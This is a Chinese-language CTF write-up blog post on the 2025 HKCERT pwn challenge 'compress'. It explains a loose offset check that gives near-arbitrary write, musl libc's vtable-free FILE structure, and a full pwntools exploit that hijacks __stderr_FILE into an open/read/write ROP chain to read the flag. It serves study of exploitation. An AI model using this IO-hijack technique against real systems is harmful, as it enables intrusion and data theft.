2025-HKCERT-compress

题目简介

HKCERT pwn部分一道关于musl libc的题,最终357分

题目不算难,但是考察了对musl libc的IO利用,如果赛场现学musl libc还是很痛苦的

漏洞点分析

首先看main函数:


可以看到是一个菜单程序,有Add和Show两种功能

同时进入main函数后,初始化的同时开启了沙箱,且分配了0x40大小的堆块,并把堆块指针放在0x202010偏移:


接着立刻查看沙箱,发现只ban掉了execve系统调用:


然后既然看了沙箱,那一起再看一下checksec:


发现保护全开,想到应该是打IO或者hook。
接下来进入Add功能进行分析,会往所申请的堆块+0ffset的地方写入数据,且由于0x202018位置的自增,我们只有一次写入机会:


注意,这里很容易以为是直接把数据写入0x202010偏移的bss段,但从汇编能看出来,实际是往 0x202010偏移的地方 存的那个指针 所指向 的内存写东西(即*0x202010=堆块指针=写入的地方):


在Add函数部分,注意到对offset的校验,采用的是将offset强转为uint8_t类型后检查是否大于0x20,也就是说仅检查offset的最后一个字节是否超过(这里从反编译结果不容易注意到,可以直接看汇编,如下图):


因此这里我们有了一个任意写的原语(只要偏移的最后一个字节不超过32,条件已经算很宽松了)

接下来同样看Show功能:


根据前面对Add的分析,这个函数实际也是打印堆块里的内容

并且也只有一次的Show机会

综合上述分析,本题唯一的漏洞在于Add功能中检查offset不严格,导致一个几乎任意偏移的写入原语,不存在malloc和free接口,应该要打IO。接下来思考如何利用

漏洞点利用

首先想办法泄露地址,由于我们只能分别读一次和写一次,首先考虑堆块上会不会初始残留一些有用信息,因此调试看一下

但是,一运行发现这个binary是依赖musl libc编译的,也就是说这不是一道glibc pwn

musl libc简介

什么是musl libc?

查找musl libc的相关资料得知:musl libc是一种适用于嵌入式等场景的C语言标准库实现,和GNU写的libc不同,musl libc的特性是将loader和libc.so.6作为一个.so文件发布,也就是说不存在GNU libc中的ld文件,因此不能直接运行由musl libc编译得到的binary。

musl libc的运行与调试

运行时,要将给的libc.so当作我们熟悉的ld文件,用loader去启binary:

1
./libc.so ./pwn

如上述命令所示

调试时,需要使用带参的gdb命令:

1
gdb --args ./libc.so ./pwn

并且需要捕获loader加载binary的行为,这样才能断在binary:

1
set stop-on-solib-events 1

musl libc的IO

和glibc类似,musl libc也存在IO结构,但具体成员和glibc相差较大,最大的特点是musl libc的IO结构里不存在vtable,而是将需要用到的函数指针打包进了结构体本身,源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
struct _IO_FILE {
unsigned flags;
unsigned char *rpos, *rend;
int (*close)(FILE *);
unsigned char *wend, *wpos;
unsigned char *mustbezero_1;
unsigned char *wbase;
size_t (*read)(FILE *, unsigned char *, size_t);
size_t (*write)(FILE *, const unsigned char *, size_t);
off_t (*seek)(FILE *, off_t, int);
unsigned char *buf;
size_t buf_size;
FILE *prev, *next;
int fd;
int pipe_pid;
long lockcount;
int mode;
volatile int lock;
int lbf;
void *cookie;
off_t off;
char *getln_buf;
void *mustbezero_2;
unsigned char *shend;
off_t shlim, shcnt;
FILE *prev_locked, *next_locked;
struct __locale_struct *locale;
};

从这个结构体的定义可以看出来,musl libc的IO结构体中就带有重要的函数指针,而且可以大胆猜测,read、write这两个函数指针就是puts和scanf等函数最终调用的函数指针,类似glibc的vtable中的xsgetn和xsputn

而且更有利的是,没有了vtable的检查,且观察源码可以进一步发现musl libc不会对这些函数指针做合法性校验:

以puts为例,调用链为puts->fputs->fwrite->fwritex->__stdout_FILE.write:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
int puts(const char *s)
{
int r;
FLOCK(stdout);
r = -(fputs(s, stdout) < 0 || putc_unlocked('\n', stdout) < 0);
FUNLOCK(stdout);
return r;
}

int fputs(const char *restrict s, FILE *restrict f)
{
size_t l = strlen(s);
return (fwrite(s, 1, l, f)==l) - 1;
}

size_t fwrite(const void *restrict src, size_t size, size_t nmemb, FILE *restrict f)
{
size_t k, l = size*nmemb;
if (!size) nmemb = 0;
FLOCK(f);
k = __fwritex(src, l, f);
FUNLOCK(f);
return k==l ? nmemb : k/size;
}

size_t __fwritex(const unsigned char *restrict s, size_t l, FILE *restrict f)
{
size_t i=0;

if (!f->wend && __towrite(f)) return 0;

if (l > f->wend - f->wpos) return f->write(f, s, l);

if (f->lbf >= 0) {
/* Match /^(.*\n|)/ */
for (i=l; i && s[i-1] != '\n'; i--);
if (i) {
size_t n = f->write(f, s, i);
if (n < i) return n;
s += i;
l -= i;
}
}

memcpy(f->wpos, s, l);
f->wpos += l;
return l+i;
}

不得不说,musl libc还是非常简洁的,没有glibc的宏定义过度封装,这才是人看的代码(bushi

符号语义方面,对应glibc,标准输入、标准输出和标准错误三个结构体的指针变量名依然是stdin、stdout和stderr,但是结构体变量名发生了变化,源码如下:

1
2
3
FILE *const stdin = &__stdin_FILE;
FILE *const stdout = &__stdout_FILE;
FILE *const stderr = &__stderr_FILE;

很容易看出来,musl libc中,_stderr_FILE=glibc的_IO_2_1_stderr,其他则类似,这就使得我们很好定位这些关键结构体了

剩下的问题就是如何泄露musl libc的地址,并任意写到IO_FILE里

利用链

最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
from optparse import OptionParser

parser = OptionParser()
parser.add_option("-m", "--mode", dest="mode", default="local")
(options, args) = parser.parse_args()

context(os='linux',arch='amd64',log_level="debug")
context.terminal=['tmux','splitw','-h']
targetELF="./pwn"
elf=ELF(targetELF,checksec=False)
libc=ELF("./libc.so",checksec=False)

def FakeContext(libc_base_,libc_):
retAlignPadding=libc_base_+0xcdc
context_=p64(0x45)
context_+=b'1'*0x18
context_+=p64(retAlignPadding)+p64(retAlignPadding) #wpos wend填充
context_+=p64(libc_base_+libc_.symbols["__stderr_FILE"])+p64(retAlignPadding)
return context_

def HouseOfMusl(libc_base_,libc_):
pop_rdi_ret=libc_base_+0x14862
pop_rsi_ret=libc_base+0x1c237
pop_rdx_ret=libc_base+0x1bea2
open_addr=libc_base_+libc_.symbols["open"]
read_addr=libc_base_+libc_.symbols["read"]
write_addr=libc_base+libc_.symbols["write"]

orw_=p64(pop_rdi_ret)+p64(libc_base_+libc_.symbols["__stderr_FILE"]+152)+p64(pop_rsi_ret)+p64(0)+p64(open_addr)
orw_+=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(libc_base_+libc_.symbols["__stderr_FILE"]+160)+p64(pop_rdx_ret)+p64(50)+p64(read_addr)
orw_+=p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_ret)+p64(libc_base_+libc_.symbols["__stderr_FILE"]+160)+p64(pop_rdx_ret)+p64(50)+p64(write_addr)
data_=b"flag\x00"+b'2'*3

context_=FakeContext(libc_base_,libc_)

payload_=orw_+data_
payload_size=len(payload_)
payload_+=b'3'*(0x100-payload_size)
payload_+=b'4'*0x100
payload_+=context_
payload_+=b'\x00'*8+p64(libc_base_+libc_.symbols["longjmp"]+34)

return payload_

def Lauch():
if options.mode=="local":
io=process(["./libc.so",targetELF])
elif options.mode=="remote":
io=remote("pwn-1ce2841b26.challenge.xctf.org.cn", 9999, ssl=True)
elif options.mode=="debug":
io=gdb.debug(["./libc.so","./pwn"],gdbscript="set pagination off\nset stop-on-solib-events 1")
return io

io=Lauch()
io.sendlineafter(">>","2")
libc_leak=u64(io.recvline(keepends=False).ljust(8,b'\x00'))
libc_base=libc_leak-0x292e50

io.sendlineafter(">>","1")
io.sendlineafter("Please input the offset:\n",str(-0x32e0)) #stderr_FILE前面一点

rubbish_pad=b'2'*0x20
payload=rubbish_pad
payload+=HouseOfMusl(libc_base,libc)
io.sendafter("Please input the Content:\n",payload)

io.interactive()

2025-HKCERT-compress
http://0x4a-210.github.io/2025/12/22/pwn刷题记录/比赛题解/2025-HKCERT-compress/
Posted on
December 22, 2025
Licensed under